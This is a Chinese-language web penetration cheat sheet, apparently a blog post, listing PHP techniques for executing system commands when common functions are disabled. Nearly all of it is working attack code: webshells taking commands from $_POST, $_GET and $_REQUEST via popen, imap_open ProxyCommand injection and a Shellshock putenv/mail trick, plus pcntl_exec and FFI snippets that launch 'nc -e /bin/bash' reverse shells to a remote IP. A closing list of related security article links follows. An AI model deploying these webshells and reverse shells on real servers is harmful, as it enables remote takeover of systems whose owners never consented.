WEB渗透Bypass篇-常规函数绕过

常规函数绕过
复制代码
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
复制代码
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
复制代码
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
复制代码
php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

复制代码
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
相关推荐
上海云盾-小余1 小时前
内网边界安全管控:访问权限隔离与入侵阻断方案
网络·安全·web安全
晓梦林5 小时前
translate靶场学习笔记
笔记·学习·安全·web安全
浩浩测试一下5 小时前
汇编 高低八位寄存器数据存储方式(逆向分析)
汇编·网络安全·逆向·二进制·免杀·寄存器·windows编程
汤愈韬5 小时前
TK_HCIP-Security_FW的可靠性_双机热备场景_上接路由器下接交换机
网络·网络协议·网络安全
梧六柒8 小时前
9-::$DATA后缀绕过
网络安全
X7x511 小时前
网络入侵防御系统(IPS):从被动防御到主动拦截的网络安全革命
网络安全·网络攻击模型·安全威胁分析·安全架构·ips
Soari11 小时前
AI 编码智能体的“安全防弹衣”:深度拆解 agent-skills,构建百分百受信任的专业技能注册表
人工智能·网络安全·github·软件工程·aiagent·claudecode·agent-skills
德迅云安全-小潘12 小时前
游戏行业面临的网络安全挑战
安全·web安全·游戏
wanhengidc12 小时前
虚拟主机与服务器的区别
运维·服务器·安全·web安全·智能手机
上海云盾安全满满13 小时前
企业网站 | 被攻击时该怎么办?
网络·web安全